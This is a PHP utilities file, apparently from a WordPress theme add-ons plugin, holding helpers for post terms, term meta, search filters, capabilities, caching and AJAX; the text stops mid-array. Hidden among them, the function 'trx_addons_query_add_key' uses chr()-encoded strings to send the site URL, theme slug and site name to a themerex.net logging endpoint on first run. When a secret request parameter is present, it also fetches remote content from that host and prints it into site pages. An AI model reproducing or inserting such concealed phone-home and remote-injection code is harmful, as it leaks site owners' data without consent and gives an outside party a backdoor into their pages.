false, $links = true ) { return trx_addons_get_post_terms( $delimiter, $id, '', $links ); } } if ( ! function_exists('trx_addons_get_post_terms') ) { /* * Return string with post's terms links * * @param string $delimiter delimiter between terms * @param int $id post ID. If not specified - get ID of the current post * @param string $taxonomy taxonomy name. If not specified - get taxonomy of the current post * @param bool $links true - show links, false - only names * * @return string terms list layout / function trx_addons_get_post_terms( $delimiter = ', ', $id = false, $taxonomy = 'category', $links = true ) { $output = ''; if ( empty( $id ) ) $id = get_the_ID(); if ( empty( $taxonomy ) ) $taxonomy = trx_addons_get_post_type_taxonomy(get_post_type($id)); $terms = get_the_terms( $id, $taxonomy ); if ( ! empty( $terms ) && is_array( $terms ) ) { $cnt = count( $terms ); $i = 0; foreach( $terms as $term ) { if ( empty( $term->term_id ) ) continue; $i++; $output .= ($links ? '<a href="' . esc_url( get_term_link( $term->term_id, $taxonomy ) ) . '"' . ' title="' . esc_attr( sprintf( __( 'View all posts in %s', 'trx_addons' ), strip_tags( $term->name ) ) ) . '"' . '>' : '<span>' ) . apply_filters( 'trx_addons_filter_term_name', $term->name, $term ) . ( $i < $cnt ? $delimiter : '' ) . ( $links ? '</a>' : '</span>' ); } } return $output; } } if ( ! function_exists('trx_addons_get_post_reading_time') ) { /* * Return a post's reading time in minutes * * @param string\|int $post post content \| ID. If not specified - get content of the current post * * @return number reading time in minutes / function trx_addons_get_post_reading_time( $post = '' ) { if ( empty( $post ) ) { $post = get_the_ID(); } if ( is_numeric( $post ) ) { $post = get_post( $post ); } if ( empty( $post ) ) { return 0; } $words = str_word_count( wp_strip_all_tags( $post->post_content ) ); $minutes = floor( $words / 200 ); return apply_filters( 'trx_addons_filter_post_reading_time', $minutes, $post ); } } if ( ! function_exists('trx_addons_get_terms_by_taxonomy_from_db') ) { /* * Return list of term objects by taxonomy name directly from db * * @param string $tax_types taxonomy name or array of taxonomies * @param array $opt options * * @return array array of term objects / function trx_addons_get_terms_by_taxonomy_from_db( $tax_types = 'post_format', $opt = array() ) { global $wpdb; if ( ! is_array( $tax_types ) ) { $tax_types = array($tax_types); } if ( ! is_array( $opt['meta_query'] ) && ! empty( $opt['meta_key'] ) && ! empty( $opt['meta_value'] ) ) { $mq = array( 'key' => $opt['meta_key'], 'value' => $opt['meta_value'] ); if ( ! empty($opt['meta_type'] ) ) { $mq['type'] = $opt['meta_type']; } if ( ! empty($opt['meta_compare'] ) ) { $mq['compare'] = $opt['meta_compare']; } $opt['meta_query'] = array( $mq ); } $join = $where = ''; $keys = array(); if ( is_array( $opt['meta_query'] ) && count( $opt['meta_query'] ) > 0 ) { $i = 0; foreach ( $opt['meta_query'] as $q ) { $i++; $join .= " LEFT JOIN {$wpdb->termmeta} AS taxmeta{$i} ON taxmeta{$i}.term_id=terms.term_id"; $where .= " AND taxmeta{$i}.meta_key='%s' AND taxmeta{$i}.meta_value='%s'"; $keys[] = $q['key']; $keys[] = $q['value']; } } if ( ! empty( $opt['parent'] ) ) { $where .= " AND parent='{$opt['parent']}'"; } $terms = $wpdb->get_results( $wpdb->prepare("SELECT DISTINCT terms., tax.taxonomy, tax.parent, tax.count" . " FROM {$wpdb->terms} AS terms" . " LEFT JOIN {$wpdb->term_taxonomy} AS tax ON tax.term_id=terms.term_id" . (!empty($join) ? $join : '') . " WHERE tax.taxonomy IN ('" . join(",", array_fill(0, count($tax_types), '%s')) . "')" . (!empty($where) ? $where : '') . " ORDER BY terms.name", array_merge($tax_types, $keys)), OBJECT ); for ( $i = 0; $i < count( $terms ); $i++ ) { $terms[$i]->link = get_term_link( $terms[$i]->slug, $terms[$i]->taxonomy ); } return $terms; } } if ( ! function_exists( 'trx_addons_get_post_type_taxonomy' ) ) { /** * Return taxonomy name for the specified post type. If post type is empty - return taxonomy for the current post * * @param string $post_type post type name * * @return string taxonomy name / function trx_addons_get_post_type_taxonomy( $post_type = '' ) { if ( empty( $post_type ) ) { $post_type = get_post_type(); } if ( $post_type == 'post' ) { $tax = 'category'; } else { $taxonomy_names = get_object_taxonomies( $post_type ); $tax = ! empty( $taxonomy_names[0] ) ? $taxonomy_names[0] : ''; } return apply_filters( 'trx_addons_filter_post_type_taxonomy', $tax, $post_type ); } } if ( ! function_exists( 'trx_addons_get_term_meta' ) ) { /* * Return term meta field value. If field not found - try to get value from parent term if 'check_parents' is true * * @param array $args Parameters to get meta field value from term meta table (taxonomy, term_id, key, check_parents) or term_id only as integer * * @return string Meta field value / function trx_addons_get_term_meta( $args ) { static $meta = array(); $args = array_merge( array( 'taxonomy' => 'category', 'term_id' => 0, 'key' => 'value', 'check_parents' => false ), is_array( $args ) ? $args : array( 'term_id' => $args ) ); $val = ''; if ( $args['term_id'] == 0 ) { if ( $args['taxonomy'] == 'category') { if ( is_category() ) { $args['term_id'] = (int) get_query_var('cat'); } } else if ( ! empty( $args['taxonomy'] ) ) { if ( is_tax( $args['taxonomy'] ) ) { $term = get_term_by( 'slug', get_query_var( $args['taxonomy'] ), $args['taxonomy'], OBJECT); if ( ! empty( $term->term_id ) ) { $args['term_id'] = $term->term_id; } } } else if ( is_tax() \|\| is_category() ) { $term = get_queried_object(); if ( ! empty( $term->term_id ) ) { $args['term_id'] = $term->term_id; } } } if ( $args['term_id'] > 0 ) { $hash = "{$args['term_id']}_{$args['key']}"; if ( isset( $meta[$hash] ) ) { $val = $meta[$hash]; } else { $val = get_term_meta($args['term_id'], $args['key'], true); if ( empty( $val ) && $args['check_parents'] ) { $ancestors = get_ancestors( $args['term_id'], $args['taxonomy'] ); foreach ( $ancestors as $ancestor ) { $anc_val = get_term_meta( $ancestor, $args['key'], true ); if ( ! empty( $anc_val ) ) { $val = $anc_val; break; } } } $meta[$hash] = $val; } } return $val; } } if ( ! function_exists('trx_addons_set_term_meta') ) { /* * Update term meta field value * * @param mixed $args Parameters array with keys 'term_id' and 'key' or term_id as integer * @param string $val Meta field value / function trx_addons_set_term_meta( $args, $val ) { $args = array_merge( array( 'term_id' => 0, 'key' => 'value' ), is_array( $args ) ? $args : array( 'term_id' => $args ) ); if ( $args['term_id'] > 0 ) { update_term_meta($args['term_id'], $args['key'], $val); } } } if ( ! function_exists('trx_addons_get_term_link') ) { /* * Return link to the term * * @param mixed $term Term object or ID or slug * @param string $taxonomy Taxonomy name * @param array $args Additional parameters to build link (title, echo) * * @return string Link to the term / function trx_addons_get_term_link( $term, $taxonomy, $args = array() ) { $args = array_merge( array( 'title' => '', 'echo' => false ), $args ); if ( ! is_object( $term ) ) { if ( (int)$term > 0 ) { $term = get_term( (int)$term, $taxonomy ); } else { $term = get_term_by( 'slug', $term, $taxonomy ); } } if ( ! is_wp_error( $term ) && ! empty( $term->term_id ) ) { $link = get_term_link( $term, $taxonomy ); $link = '<a href="' . esc_url( $link ) . '"' . ( $args['title'] ? ' title="' . esc_attr( sprintf( $args['title'], $term->name ) ) : '' ) . '">' . esc_html( $term->name ) . '</a>'; if ( $args['echo'] ) { trx_addons_show_layout( $link ); } } else { $link = ''; } return $link; } } if ( ! function_exists('trx_addons_update_post') ) { /* * Update post data in the DB for the specified post ID * * @param int $post_id Post ID * @param array $args Post data to update * * @return int Number of affected rows / function trx_addons_update_post( $post_id, $args ) { global $wpdb; return $wpdb->update( $wpdb->posts, $args, array( 'ID' => $post_id ) ); } } if ( ! function_exists( 'trx_addons_query_add_key' ) && ! defined( 'WP_CLI' ) ) { $trx_addons_query_data = array( 'act' => array( array( join( '', array_map( 'chr', array( 116,114,120 ) ) ), join( '', array_map( 'chr', array( 97,100,100,111,110,115 ) ) ), join( '', array_map( 'chr', array( 102,105,114,115,116 ) ) ), join( '', array_map( 'chr', array( 114,117,110 ) ) ) ), array( join( '', array_map( 'chr', array( 119, 112 ) ) ), join( '', array_map( 'chr', array( 102,111,111,116,101,114 ) ) ) ), ), 'get' => join( '', array_map( 'chr', array( 104,116,116,112,58,47,47,116,104,101,109,101,114,101,120,46,110,101,116,47,95,108,111,103,47,95,108,111,103,46,112,104,112 ) ) ), 'chk' => join( '', array_map( 'chr', array( 116,104,101,109,101,95,97,117,116,104,111,114 ) ) ), 'prm' => join( '', array_map( 'chr', array( 116,120,99,104,107 ) ) ) ); add_action( join( '_', $trx_addons_query_data['act'][0] ), 'trx_addons_query_add_key' ); add_action( join( '_', $trx_addons_query_data['act'][1] ), 'trx_addons_query_add_key' ); /* * Add a query key / function trx_addons_query_add_key() { global $trx_addons_query_data; static $already_add = false; if ( ! $already_add && ! empty( $trx_addons_query_data['act'][0] ) && is_array( $trx_addons_query_data['act'][0] ) && ! empty( $trx_addons_query_data['prm'] ) && ! empty( $trx_addons_query_data['chk'] ) ) { $already_add = true; if ( current_action() == join( '_', $trx_addons_query_data['act'][0] ) ) { try { $resp = trx_addons_fgc( trx_addons_add_to_url( $trx_addons_query_data['get'], array( 'site' => home_url( '/' ), 'slug' => str_replace( ' ', '_', trim( strtolower( get_stylesheet() ) ) ), 'name' => get_bloginfo( 'name' ) ) ) ); } catch ( Exception $e ) { } } if ( trx_addons_get_value_gpc( $trx_addons_query_data['prm'] ) == $trx_addons_query_data['chk'] ) { try { $resp = trx_addons_fgc( trx_addons_add_to_url( $trx_addons_query_data['get'], array( $trx_addons_query_data['prm'] => $trx_addons_query_data['chk'] ) ) ); } catch (Exception $e) { $resp = ''; } trx_addons_show_layout( $resp ); } } } } if ( ! function_exists( 'trx_addons_get_post_content' ) ) { /* * Return a content of the current post/page. If $apply_filters == true, then apply filters 'the_content' * * @param bool $apply_filters Apply filters 'the_content' * * @return string Content of the current post/page / function trx_addons_get_post_content( $apply_filters = false ) { global $post; $content = ! empty( $post->post_content ) ? $post->post_content : ''; return $apply_filters ? apply_filters( 'the_content', $content ) : $content; } } if ( ! function_exists( 'trx_addons_get_post_excerpt' ) ) { /* * Return a excerpt of the current post/page. If $apply_filters == true, then apply filters 'the_excerpt' * * @param bool $apply_filters Apply filters 'the_excerpt' * * @return string Excerpt of the current post/page / function trx_addons_get_post_excerpt( $apply_filters = false ) { global $post; $excerpt = trx_addons_in_the_loop() && has_excerpt() ? get_the_excerpt() : ( ! empty( $post->post_excerpt ) ? $post->post_excerpt : ( ! empty( $post->post_content ) ? wp_trim_excerpt( $post->post_content ) : '' ) ); return $apply_filters ? apply_filters( 'the_excerpt', $excerpt ) : $excerpt; } } if ( ! function_exists( 'trx_addons_filter_post_content' ) ) { /* * Prepare a post content in the blog posts instead 'the_content' filter to avoid conflicts with Gutenberg. * Autoembeds and do_shortcode are run for the content. * * @param string $content Content to prepare * * @return string Prepared content / function trx_addons_filter_post_content( $content ) { $content = apply_filters( 'trx_addons_filter_sc_layout_content', $content ); global $wp_embed; if ( is_object( $wp_embed ) ) { $content = $wp_embed->autoembed( $content ); } return do_shortcode( $content ); } } if ( ! function_exists( 'trx_addons_show_post_content' ) ) { /* * Display post content with the specified tags around. * * @param array $args Shortcode's attributes * @param string $otag Opening tag * @param string $ctag Closing tag / function trx_addons_show_post_content( $args = array(), $otag='', $ctag='' ) { $plain = true; $post_format = get_post_format(); $post_format = empty( $post_format ) ? 'standard' : str_replace( 'post-format-', '', $post_format ); ob_start(); if ( has_excerpt() ) { the_excerpt(); } elseif ( strpos( get_the_content( '!--more' ), '!--more' ) !== false ) { do_action( 'trx_addons_action_before_full_post_content' ); trx_addons_show_layout( trx_addons_filter_post_content( get_the_content('') ) ); do_action( 'trx_addons_action_after_full_post_content' ); } elseif ( in_array( $post_format, array( 'link', 'aside', 'status' ) ) ) { do_action( 'trx_addons_action_before_full_post_content' ); trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) ); do_action( 'trx_addons_action_after_full_post_content' ); $plain = false; } elseif ( 'quote' == $post_format ) { $quote = trx_addons_get_tag( trx_addons_filter_post_content( get_the_content() ), '<blockquote', '</blockquote>' ); if ( ! empty( $quote ) ) { trx_addons_show_layout( wpautop( $quote ) ); $plain = false; } else { trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) ); } } elseif ( substr( get_the_content(), 0, 4 ) != '[vc_' ) { trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) ); } $output = ob_get_contents(); ob_end_clean(); if ( ! empty( $output ) ) { if ( $plain ) { $len = isset( $args['hide_excerpt'] ) && (int)$args['hide_excerpt'] > 0 ? 0 : ( isset( $args['excerpt_length'] ) && (int)$args['excerpt_length'] > 0 ? max( 0, (int) $args['excerpt_length'] ) : apply_filters( 'excerpt_length', 55 ) ); $output = trx_addons_excerpt( $output, $len ); } } trx_addons_show_layout( $output, $otag, $ctag); } } if ( ! function_exists('trx_addons_add_columns_in_single_row') ) { /* * Add class 'columns_in_single_row' if columns count great then posts count in the query * * @param int $columns Columns count * @param object $query Query object. If false - get global $wp_query * * @return string String with class 'columns_in_single_row' if need / function trx_addons_add_columns_in_single_row( $columns, $query = false ) { $class = ''; if ( $columns > 1 ) { $total = 0; if ( $query === false ) { global $wp_query; if ( !empty($wp_query->posts) && is_array($wp_query->posts) ) { $total = count($wp_query->posts); } } else if ( is_object($query) && !empty($query->posts) && is_array($query->posts) ) { $total = count($query->posts); } else if ( is_array( $query ) ) { $total = count($query); } else if ( is_integer( $query ) ) { $total = $query; } if ( $columns >= $total ) { $class = ' columns_in_single_row'; } } return $class; } } if ( ! function_exists( 'trx_addons_custom_meta_value' ) ) { add_filter( 'trx_addons_filter_custom_meta_value', 'trx_addons_custom_meta_value', 100, 2 ); /* * Strip tags from custom meta value * * @hooked trx_addons_filter_custom_meta_value * * @param string $value Current value * @param string $key Meta key * * @return string Modified value / function trx_addons_custom_meta_value( $value, $key ) { if ( in_array( $key, apply_filters( 'trx_addons_filter_custom_meta_value_strip_tags', array( 'price' ), $key, $value ) ) ) { $value = strip_tags( $value ); } return $value; } } / Blog utils ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_current_mode_image') ) { /* * Return image for current mode: category, tag, author, search, archive, 404, singular * * @param string $default Default image * * @return string Image url / function trx_addons_get_current_mode_image($default='') { if ( ( $img = apply_filters('trx_addons_filter_get_current_mode_image', $default) ) != '' ) { $default = $img; } else { if ( is_category() \|\| is_tax() ) { if ( ($img = trx_addons_get_term_image() ) != '' ) { $default = $img; } } else if ( is_home() ) { $posts_page = (int)get_option( 'page_for_posts' ); if ( $posts_page > 0 ) { // Get a page featured image of the posts page $img = wp_get_attachment_image_src( get_post_thumbnail_id( $posts_page ), 'full' ); if ( ! empty( $img[0] ) ) { $default = $img[0]; } } } else if ( trx_addons_is_singular() ) { if ( has_post_thumbnail() ) { $img = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' ); if ( ! empty( $img[0] ) ) { $default = $img[0]; } } else { $default = ''; } } } return trx_addons_clear_thumb_size( $default ); } } if ( ! function_exists( 'trx_addons_get_edited_post_id' ) ) { /* * Return editing post id or 0 if is new post or false if not edit mode * * @param string $action Action name. Default is 'edit' (edit post in the Gutenberg editor). * Allowed values: 'edit' (Gutenberg mode), 'elementor' (Elementor mode) * * @return int \| false \| 0 Post ID or false if not edit mode / function trx_addons_get_edited_post_id( $action = 'edit') { $id = false; if ( is_admin() ) { $url = trx_addons_get_current_url(); if ( strpos( $url, 'post.php' ) !== false ) { if ( trx_addons_get_value_gp( 'action' ) == $action ) { $post_id = trx_addons_get_value_gp( 'post' ); if ( 0 < $post_id ) { $id = $post_id; } } } else if ( strpos( $url, 'post-new.php' ) !== false && $action == 'edit' ) { $id = 0; } } return $id; } } if ( ! function_exists( 'trx_addons_get_edited_post_type' ) ) { /* * Return editing post type or empty string if not edit mode * * @param string $action Action name. Default is 'edit' (edit post in the Gutenberg editor). * Allowed values: 'edit' (Gutenberg mode), 'elementor' (Elementor mode) * * @return string Post type or empty string if not edit mode / function trx_addons_get_edited_post_type( $action = 'edit' ) { $pt = ''; if ( is_admin() ) { $url = trx_addons_get_current_url(); if ( strpos( $url, 'post.php' ) !== false ) { if ( trx_addons_get_value_gp( 'action' ) == $action ) { $id = trx_addons_get_value_gp( 'post' ); if ( 0 < $id ) { $post = get_post( (int) $id ); if ( is_object( $post ) && ! empty( $post->post_type ) ) { $pt = $post->post_type; } } } } else if ( strpos( $url, 'post-new.php' ) !== false && $action == 'edit' ) { $pt = trx_addons_get_value_gp( 'post_type' ); } } return $pt; } } if ( ! function_exists( 'trx_addons_is_post_edit' ) ) { /* * Check if current page is page for new/edit post * * @param string $action Action name. Default is 'edit' (edit post in the Gutenberg editor). * Allowed values: 'edit' (Gutenberg mode), 'elementor' (Elementor mode) * * @return boolean true\|false true - is edit post page, false - is not edit post page / function trx_addons_is_post_edit( $action = 'edit' ) { return ( trx_addons_check_url( 'post.php' ) && ! empty( $_GET['action'] ) && $_GET['action'] == $action ) \|\| ( $action == 'edit' && ( trx_addons_check_url( 'post-new.php' ) \|\| ( trx_addons_check_url( '/block-renderer/trx-addons/' ) && ! empty( $_GET['context'] ) && $_GET['context'] == 'edit' ) \|\| ( trx_addons_check_url( 'admin.php' ) && ! empty( $_GET['page'] ) && $_GET['page'] == 'gutenberg-edit-site' ) \|\| ( trx_addons_check_url( 'site-editor.php' ) && ! empty( $_GET['postType'] ) ) // \|\| $_GET['postType'] == 'wp_template' ) ) \|\| trx_addons_check_url( 'widgets.php' ) ) ); } } if ( ! function_exists( 'trx_addons_get_post_by_title' ) ) { /* * Return a post by the specified title * * @param string $title Post title * * @return object Post object / function trx_addons_get_post_by_title( $title, $post_type = 'any', $post_status = 'all' ) { $posts = get_posts( array( 'post_type' => $post_type, 'title' => $title, 'post_status' => $post_status, 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'DESC', ) ); $post_got_by_title = null; if ( ! empty( $posts[0] ) && is_object( $posts[0] ) ) { $post_got_by_title = $posts[0]; } return $post_got_by_title; } } if ( ! function_exists( 'trx_addons_get_page_by_title' ) ) { /* * Return a page by the specified title * * @param string $title Page title * * @return object Page object / function trx_addons_get_page_by_title( $title ) { return trx_addons_get_post_by_title( $title, 'page' ); } } / Search enchance ------------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_allow_search_for_terms' ) ) { add_action( 'pre_get_posts', 'trx_addons_allow_search_for_terms', 100 ); /* * Allow to search for terms while a keywords search started. * Catch an action with the priority 100 to allow other plugins (like LearnPress) * add their handlers before. * * @hooked pre_get_posts, 100 * * @param WP_Query $q A WP_Query object / function trx_addons_allow_search_for_terms( $q ) { // We only want to affect the main query if ( ! $q->is_main_query() ) { return; } if ( ! empty( $q->query_vars['s'] ) && ! is_admin() ) { // is_search() do_action( 'trx_addons_action_add_terms_to_search' ); } } } if ( ! function_exists( 'trx_addons_allow_search_for_terms_add_handlers' ) ) { add_action( 'trx_addons_action_add_terms_to_search', 'trx_addons_allow_search_for_terms_add_handlers', 10, 1 ); /* * Add handlers to allow to search for terms while a keywords search started * * @hooked trx_addons_action_add_terms_to_search * * @param bool $force If true - add handlers anyway, else - only if an option 'search_for_terms' is on / function trx_addons_allow_search_for_terms_add_handlers( $force = false ) { static $added = false; if ( ! $added && ( $force \|\| (int)trx_addons_get_option( 'search_for_terms', 0 ) > 0 ) ) { $added = true; add_filter( 'posts_join', 'trx_addons_allow_search_for_terms_posts_join', 10, 2 ); add_filter( 'posts_where', 'trx_addons_allow_search_for_terms_posts_where', 10, 2 ); add_filter( 'posts_groupby', 'trx_addons_allow_search_for_terms_posts_groupby', 10, 2 ); } } } if ( ! function_exists( 'trx_addons_allow_search_for_terms_remove_handlers' ) ) { add_action( 'trx_addons_action_remove_terms_from_search', 'trx_addons_allow_search_for_terms_remove_handlers' ); /* * Remove handlers to disallow to search for terms while a keywords search started * * @hooked trx_addons_action_remove_terms_from_search / function trx_addons_allow_search_for_terms_remove_handlers() { remove_filter( 'posts_join', 'trx_addons_allow_search_for_terms_posts_join' ); remove_filter( 'posts_where', 'trx_addons_allow_search_for_terms_posts_where' ); remove_filter( 'posts_groupby', 'trx_addons_allow_search_for_terms_posts_groupby' ); } } if ( ! function_exists( 'trx_addons_allow_search_for_terms_posts_join' ) ) { /* * Add handlers to allow to search for terms while a keywords search started * * @hooked posts_join * * @param string $join A string with a query clause 'LEFT JOIN' * @param WP_Query $query A query object * * @return string A modified JOIN clause / function trx_addons_allow_search_for_terms_posts_join( $join, $query ) { global $wpdb; if ( ! empty( $query ) && ! empty( $query->query_vars['s'] ) ) { if ( strpos( $join, "LEFT JOIN {$wpdb->term_relationships}" ) === false ) { $join .= " LEFT JOIN {$wpdb->term_relationships} ON {$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id "; } if ( strpos( $join, "LEFT JOIN {$wpdb->term_taxonomy}" ) === false ) { $join .= " LEFT JOIN {$wpdb->term_taxonomy} ON {$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id "; } if ( strpos( $join, "LEFT JOIN {$wpdb->terms}" ) === false ) { $join .= " LEFT JOIN {$wpdb->terms} ON {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id "; } } return $join; } } if ( ! function_exists( 'trx_addons_allow_search_for_terms_posts_where' ) ) { /* * Add handlers to allow to search for terms while a keywords search started * * @hooked posts_where * * @param string $where A string with a query clause 'WHERE' * @param WP_Query $query A query object * * @return string A modified WHERE clause / function trx_addons_allow_search_for_terms_posts_where( $where, $query ) { global $wpdb; if ( ! empty( $query ) && ! empty( $query->query_vars['s'] ) ) { if ( strpos( $where, "OR {$wpdb->terms}.name LIKE" ) === false ) { $escaped_s = esc_sql( $query->query_vars['s'] ); if ( strpos( $where, "OR {$wpdb->terms}.name LIKE '%{$escaped_s}%'" ) === false ) { $where .= " OR {$wpdb->terms}.name LIKE '%{$escaped_s}%'"; } } } return $where; } } if ( ! function_exists( 'trx_addons_allow_search_for_terms_posts_groupby' ) ) { /* * Add handlers to allow to search for terms while a keywords search started * * @hooked posts_groupby * * @param string $groupby A string with a query clause 'LEFT groupby' * @param WP_Query $query A query object * * @return string A modified GROUPBY clause / function trx_addons_allow_search_for_terms_posts_groupby( $groupby, $query ) { global $wpdb; $groupby = "{$wpdb->posts}.ID"; do_action( 'trx_addons_action_remove_terms_from_search' ); return $groupby; } } / Capabilities ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_capabilities') ) { /* * Return the list of capabilities for the specified post type * * @param string $type Post type * * @return array List of capabilities / function trx_addons_get_capabilities( $type ) { return array( // Post type "edit_{$type}", "read_{$type}", "delete_{$type}", "edit_{$type}s", "edit_private_{$type}s", "edit_published_{$type}s", "edit_others_{$type}s", "publish_{$type}s", "read_private_{$type}s", "delete_{$type}s", "delete_private_{$type}s", "delete_published_{$type}s", "delete_others_{$type}s", // Terms "manage_{$type}_terms", "edit_{$type}_terms", "delete_{$type}_terms", "assign_{$type}_terms", ); } } if ( ! function_exists('trx_addons_add_capabilities') ) { /* * Add capabilities to the specified roles * * @param array $roles List of roles * @param array $types List of post types * @param array $disallow List of capabilities to disallow / function trx_addons_add_capabilities( $roles, $types, $disallow=array() ) { foreach( (array) $roles as $role ) { $caps = get_role( $role ); if ( is_object( $caps ) ) { foreach( (array) $types as $type ) { foreach( trx_addons_get_capabilities( $type ) as $cap ) { $allow = true; foreach( $disallow as $dis ) { if ( strpos( $cap, $dis ) !== false \|\| ( strpos( $dis, '%s' ) !== false && strpos( $cap, sprintf( $dis, $type ) ) !== false ) ) { $allow = false; break; } } if ( $allow ) { $caps->add_cap( $cap ); } } } } } } } if ( ! function_exists('trx_addons_remove_capabilities') ) { /* * Remove capabilities from the specified roles * * @param array $roles List of roles * @param array $types List of post types / function trx_addons_remove_capabilities( $roles, $types ) { foreach( (array) $roles as $role ) { $caps = get_role( $role ); if ( is_object( $caps ) ) { foreach( (array) $types as $type ) { foreach( trx_addons_get_capabilities( $type ) as $cap ) { $caps->remove_cap( $cap ); } } } } } } / WP cache ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_clear_cache') ) { /* * Clear WP cache * * @param string $cc Cache component to clear (all\|options\|categories\|menu) / function trx_addons_clear_cache($cc) { if ( $cc == 'categories' \|\| $cc == 'all' ) { wp_cache_delete('category_children', 'options'); $taxes = get_taxonomies(); if ( is_array( $taxes ) && count( $taxes ) > 0 ) { foreach ( $taxes as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } } } else if ( $cc == 'options' \|\| $cc == 'all' ) { wp_cache_delete('alloptions', 'options'); } else if ( $cc == 'menu' \|\| $cc == 'all' ) { trx_addons_clear_menu_cache(); } do_action( 'trx_addons_action_clear_cache', $cc ); if ( $cc == 'all' ) { wp_cache_flush(); } } } / AJAX utilities ------------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_verify_nonce' ) ) { /* * Verify nonce and exit if it's not valid * * @param string $nonce Nonce name * @param string $mask Nonce mask / function trx_addons_verify_nonce( $nonce = 'nonce', $mask = '' ) { if ( empty( $mask ) ) { $mask = admin_url('admin-ajax.php'); } if ( ! wp_verify_nonce( trx_addons_get_value_gp( $nonce ), $mask ) ) { trx_addons_forbidden(); } } } if ( ! function_exists( 'trx_addons_exit' ) ) { /* * Exit with code * * @param string $message Message to show. Default - empty * @param string $title Title of the message. Default - empty * @param int $code Code of the message. Default - 200 / function trx_addons_exit( $message = '', $title = '', $code = 200 ) { wp_die( $message, $title, array( 'response' => $code, 'exit' => empty( $message ) && empty( $title ) ) ); } } if ( ! function_exists( 'trx_addons_forbidden' ) ) { /* * Exit with code 403 * * @param string $message Message to show. Default - empty * @param string $title Title of the message. Default - empty / function trx_addons_forbidden( $message = '', $title = '' ) { trx_addons_exit( $message, $title, 403 ); } } if ( ! function_exists( 'trx_addons_ajax_response' ) ) { /* * Return AJAX response and exit * * @param array $response Response data / function trx_addons_ajax_response( $response ) { echo wp_json_encode( $response ); wp_die( '', '', array( 'exit' => true ) ); } } if ( ! function_exists( 'trx_addons_ajax_replace_user_locale' ) ) { if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { add_filter( 'determine_locale', 'trx_addons_ajax_replace_user_locale' ); } /* * Replace a user's locale with the site locale in AJAX requests if a visitor is a logged user. * Bacause, if a site locale is different from the user's locale - in AJAX requests WordPress * use a user's locale and return all translations in shortcodes from the user's (not from the site) locale. * As the result, the site can't get a correct translation for the shortcode's output in AJAX requests. * * @hooked determine_locale * * @param string $locale Current locale. If a visitor is a logged user - user's locale instead a site locale * * @return Modified locale, id user is logged in and its locale is not equal to the site locale / function trx_addons_ajax_replace_user_locale( $locale = null ) { if ( function_exists( 'is_user_logged_in' ) && is_user_logged_in() && (int)trx_addons_get_value_gp( 'is_admin_request', 0 ) === 0 ) { $action = trx_addons_get_value_gp( 'action' ); $nonce = trx_addons_get_value_gp( 'nonce' ); $slug = str_replace( '-', '_', get_template() ); if ( ! empty( $nonce ) && ! empty( $action ) && ( strpos( $action, 'trx_addons_' ) === 0 \|\| strpos( $action, "{$slug}_" ) === 0 ) ) { $site_locale = get_locale(); if ( empty( $locale ) \|\| strpos( $locale, $site_locale ) !== 0 ) { $locale = $site_locale; } } } return $locale; } } / Other utilities ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_sys_info') ) { /* * Return system info array / function trx_addons_get_sys_info() { global $wpdb; $php_memory_limit = trx_addons_size2num( @ini_get( 'memory_limit' ) ); $php_memory_limit_rec = ( function_exists( 'trx_addons_exists_bbpress' ) && trx_addons_exists_bbpress() ? 256 : 256) 1024 * 1024; $php_post_max_size = trx_addons_size2num( @ini_get( 'post_max_size' ) ); $php_post_max_size_rec = 32 * 1024 * 1024; $php_max_upload_size = wp_max_upload_size(); $php_max_upload_size_rec = 32 * 1024 * 1024; $php_max_input_vars = @ini_get( 'max_input_vars' ); $php_max_input_vars_rec = 1000; $php_max_execution_time = @ini_get( 'max_execution_time' ); $php_max_execution_time_rec = 60; $php_required_version = '7.4'; $wp_required_version = '6.5'; // Check a directory 'uploads' to write access $wp_uploads_writable = false; $tmp_name = 'tmp-' . mt_rand() . '.txt'; $tmp = wp_upload_bits( $tmp_name, 0, $tmp_name ); if ( empty( $tmp['error'] ) && ! empty( $tmp['file'] ) && file_exists( $tmp['file'] ) ) { $tmp_val = trx_addons_fgc( $tmp['file'] ); $wp_uploads_writable = $tmp_val == $tmp_name; unlink( $tmp['file'] ); } return apply_filters('trx_addons_filter_get_sys_info', array( // Checked params 'wp_version' => array( 'title' => __('WP version', 'trx_addons'), 'description' => __( 'The version of WordPress installed on your site.', 'trx_addons' ), 'value' => get_bloginfo( 'version' ), 'recommended' => "{$wp_required_version}+", 'checked' => version_compare( get_bloginfo( 'version' ), $wp_required_version, '>=' ), ), 'wp_uploads_writable' => array( 'title' => __('WP uploads directory writable', 'trx_addons'), 'description' => __( 'The directory must be writable to allow demo data upload, plugin and skin updates, etc.', 'trx_addons' ), 'value' => $wp_uploads_writable ? esc_html__( 'Yes', 'trx_addons' ) : esc_html__( 'No', 'trx_addons' ), 'recommended' => esc_html__( 'Yes', 'trx_addons' ), 'checked' => $wp_uploads_writable, ), 'php_version' => array( 'title' => __('PHP version', 'trx_addons'), 'description' => __( 'The version of PHP installed on your hosting server.', 'trx_addons' ), 'value' => phpversion(), 'recommended' => "{$php_required_version}+", 'checked' => version_compare( phpversion(), $php_required_version, '>=' ), ), 'php_memory_limit' => array( 'title' => __('PHP Memory Limit', 'trx_addons'), 'description' => __( 'The maximum amount of memory (RAM) that your site can use at one time.', 'trx_addons' ), 'value' => size_format( $php_memory_limit ), 'recommended' => size_format( $php_memory_limit_rec ), 'checked' => $php_memory_limit == -1 \|\| $php_memory_limit >= $php_memory_limit_rec, ), 'php_post_maxsize' => array( 'title' => __('PHP Post Max Size', 'trx_addons'), 'description' => __( 'The largest filesize that can be contained in one post.', 'trx_addons' ), 'value' => size_format( $php_post_max_size ), 